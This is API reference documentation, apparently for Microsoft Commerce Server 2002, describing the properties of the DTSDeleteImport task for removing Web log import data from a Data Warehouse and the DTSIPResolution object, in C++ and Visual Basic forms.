DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport Properties [C++]

DTSDeleteImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Count | long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | BSTR | Stores the list of log files to be deleted. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or site on the alphabetically sorted list. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | long | Determines if specific log files are deleted, or if rotating deletes are performed. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Determines the log files to save or delete based on the value of the DeleteType and WebLogDeleteType properties. This property is read/write.
DeleteLevel | Long | Determines if all data associated with the Web log file import will be deleted, or if only the detailed data will be deleted. This property is read/write.
DeleteType | Long | Determines if all data from the Data Warehouse is deleted, or if only specific log files are deleted. This property is read/write.
Interval | Long | Specifies the unit used for the Count property, in days, weeks, or months. This property is read/write.
ListofLogs | String | Stores the list of log files to be deleted. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. The default value is the first Data Warehouse or site on the alphabetically sorted list. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
WebLogDeleteType | Long | Determines if specific log files are deleted, or if the rotating deletes are performed. This property is read/write.


_DTSDeleteImport::get_Count, put_Count Property [C++]

DTSDeleteImport.Count Property [Visual Basic]

The Count property is a read/write Long that determines the number of log files to be kept. The Count property is only used if the DeleteType property is set to 1.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_Count(
 long Count
);

Put method:

HRESULT _DTSDeleteImport::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[out] When getting a property, a long that determines the log files to be kept based on the values of the DeleteType and WebLogDeleteType properties.
[in] When putting a property, a long that determines the log files to be kept based on the values of the DeleteType and WebLogDeleteType properties.
[Visual Basic]None.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 0, then set this property to the number of previous days, weeks, or months for which you want to keep log files. If the Interval property is set to months and the Count property is set to 1, all imports created more than one month ago will be deleted.

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 1, then set this property to the number of most recently created files in the Data Warehouse that you want to keep. If the Count property is set to 5, only the five most recent files will be kept, older files will be deleted.

If the DeleteType property is set to 1 and the WebLogDeleteType property is set to 2, then the Count property is not used.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel Property [C++]

DTSDeleteImport.DeleteLevel Property [Visual Basic]

The DeleteLevel property is a read/write Long that determines if all data is deleted, or if only detail data is deleted.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_DeleteLevel(
 long DeleteLevel
);

Put method:

HRESULT _DTSDeleteImport::put_DeleteLevel(
 long DeleteLevel
);
[Visual Basic]
Property DeleteLevel() As Long

Parameters

DeleteLevel [C++]
[out] When getting a property, a long that determines if all data is deleted, or if only detail data is deleted.
[in] When putting a property, a long that determines if all data is deleted, or if only detail data is deleted.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The DeleteLevel property is only used if the DeleteType property is set to 1 (Web Log Import Delete). If the Delete Level property is set to 1, all data will be deleted; if it is set to 0, only detail data will be deleted. The default value is 0.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_DeleteType, put_DeleteType Property [C++]

DTSDeleteImport.DeleteType Property [Visual Basic]

The DeleteType property is a read/write Long. Use this property to specify whether to delete all data from the Data Warehouse or to delete only the specified log files.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_DeleteType(
 long DeleteType
);

Put method:

HRESULT _DTSDeleteImport::put_DeleteType(
 long DeleteType
);
[Visual Basic]
Property DeleteType() As Long

Parameters

DeleteType [C++]
[in] When putting a property, a long that determines if all data will be deleted from the Data Warehouse, or if only Web Log Import data will be deleted from the Data Warehouse.
[out] When getting a property, a long that determines if all data will be deleted from the Data Warehouse, or if only Web Log Import data will be deleted from the Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the DeleteType property is set to 0, all data will be deleted from the Data Warehouse. When the DeleteType property is set to 1, only Web Log Import data will be deleted. The default value is 1.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_Interval, put_Interval Property [C++]

DTSDeleteImport.Interval Property [Visual Basic]

The Interval property is a read/write Long used to specify a unit of time.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_Interval(
 long Interval
);

Put method:

HRESULT _DTSDeleteImport::put_Interval(
 long Interval
);
[Visual Basic]
Property Interval() As Long

Parameters

Interval [C++]
[out] When getting a property, a long used to specify a unit of time.
[in] When putting a property, a long used to specify a unit of time.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Interval property is only used if the DeleteType property is set to 1 and the WebLogDeleteType property is set to 0. The valid values for the Interval property are 0 for days, 1 for weeks, 2 for months, and 3 for years.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_ListofLogs, put_ListofLogs Property [C++]

DTSDeleteImport.ListofLogs Property [Visual Basic]

The ListofLogs property is a read/write String used to specify the log files to be deleted.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_ListofLogs(
 BSTR ListofLogs
);

Put method:

HRESULT _DTSDeleteImport::put_ListofLogs(
 BSTR ListofLogs
);
[Visual Basic]
Property ListofLogs() As String

Parameters

ListofLogs [C++]
[out] When getting a property, a String used to specify the log files to be deleted.
[in] When putting a property, a String used to specify the log files to be deleted.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ListofLogs property is only used if the DeleteType property is set to 1 and the WebLogDeleteType property is set to 2.

The list of log files should contain a comma-separated list of log file IDs or task IDs to be deleted, for example: "1000,1001,1003."

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_NumRetries, put_NumRetries Property [C++]

DTSDeleteImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSDeleteImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries [C++]
[out,retval] When getting the property, a long used to specify the number of retry attempts after a SQL connection/query failure.
[in] When putting the property, a long used to specify the number of retry attempts after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSDeleteImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSDeleteImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None. [Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0. The maximum value is 3600. The default value is 30.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_SourceName, put_SourceName Property [C++]

DTSDeleteImport.SourceName Property [Visual Basic]

The SourceName property is a read/write Variant that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_SourceName(
 VARIANT SourceName
);

Put method:

HRESULT _DTSDeleteImport::put_SourceName(
 VARIANT SourceName
);
[Visual Basic]
Property SourceName() As Variant

Parameters

SourceName [C++]
[in] When putting the property, a VARIANT that contains the name of the Data Warehouse or Web site.
[out,retval] When getting the property, a VARIANT that contains the name of the Data Warehouse or Web site.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceType, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceType

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_SourceType, put_SourceType Property [C++]

DTSDeleteImport.SourceType Property [Visual Basic]

The SourceType property is a read/write Long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSDeleteImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[out, retval] When getting the property, a long that contains the type of source.
[in] When putting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.WebLogDeleteType


_DTSDeleteImport::get_WebLogDeleteType, put_WebLogDeleteType Property [C++]

DTSDeleteImport.WebLogDeleteType Property [Visual Basic]

The WebLogDeleteType property is a read/write Long that specifies the type of delete to be completed.

Definition

[C++]

Get method:

HRESULT _DTSDeleteImport::get_WebLogDeleteType(
 long WebLogDeleteType
);

Put method:

HRESULT _DTSDeleteImport::put_WebLogDeleteType(
 long WebLogDeleteType
);
[Visual Basic]
Property WebLogDeleteType() As Long

Parameters

WebLogDeleteType [C++]
[out] When getting a property, a long that specifies the type of delete to be completed.
[in] When putting a property, a long that specifies the type of delete to be completed.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The WebLogDeleteType property is only used if the DeleteType property is set to 1 (Web Log Import Delete).

If the WebLogDeleteType property is set to 0, Web log files older than the date specified by the Interval property will be deleted. If the WebLogDeleteType property is set to 1, the Web log files older than the number specified by the Count property will be deleted. If the WebLogDeleteType property is set to 2, the Web log files specified by the ListofLogs property will be deleted. The default value is 2.

See Also

Scripting the Data Deletion DTS Task

[C++]

_DTSDeleteImport::get_Count, put_Count

_DTSDeleteImport::CustomTask_Execute

_DTSDeleteImport::get_DeleteLevel, put_DeleteLevel

_DTSDeleteImport::get_DeleteType, put_DeleteType

_DTSDeleteImport::get_Interval, put_Interval

_DTSDeleteImport::get_ListofLogs, put_ListofLogs

_DTSDeleteImport::get_NumRetries, put_NumRetries

_DTSDeleteImport::PersistPropertyBag_Load

_DTSDeleteImport::PersistPropertyBag_Save

_DTSDeleteImport::get_RetryInterval, put_RetryInterval

_DTSDeleteImport::get_SourceName, put_SourceName

_DTSDeleteImport::get_SourceType, put_SourceName

[Visual Basic]

DTSDeleteImport.Count

DTSDeleteImport.CustomTask_Execute

DTSDeleteImport.DeleteLevel

DTSDeleteImport.DeleteType

DTSDeleteImport.Interval

DTSDeleteImport.ListofLogs

DTSDeleteImport.NumRetries

DTSDeleteImport.PersistPropertyBag_Load

DTSDeleteImport.PersistPropertyBag_Save

DTSDeleteImport.RetryInterval

DTSDeleteImport.SourceName

DTSDeleteImport.SourceType


DTSIPResolution Object [C++]

DTSIPResolution Object [Visual Basic]

Use this object to resolve Internet Protocol (IP) addresses from the imported user data. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the IP resolution DTS task, see Scripting the IP Resolution DTS Task.

ProgID: | Commerce.DTSIPResolution (Externally creatable)
COM Class Name: | DTSIPResolution
Type Library Name: | Microsoft Commerce 2002 IP Resolution DTS Task Type Library
DLL Name: | CSDWDTSIpResolution.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSIPResolution
Interface ID Constant: | None
Header File: | None

Properties

[C++]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | BSTR | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | The number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.
[Visual Basic]
Property | Type | Description
BatchSize | Long | The number of batched IP addresses that will be transferred to your Domain Name Server (DNS). This property is read/write.
LocalDomainName | String | The local domain name of the DNS used as the primary server that resolves IP addresses. This property is read/write.
Ncache | Long | The number of days to store resolved IP addresses. This property is read/write.
NumRetries | Long | The number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | The number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
TimeOut | Long | The number of seconds the DNS server will be searched before an IP address is marked as unresolved. This property is read/write.

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

See Also

Scripting the IP Resolution DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSSynchAdminData Object

DTSTransactionImport Object

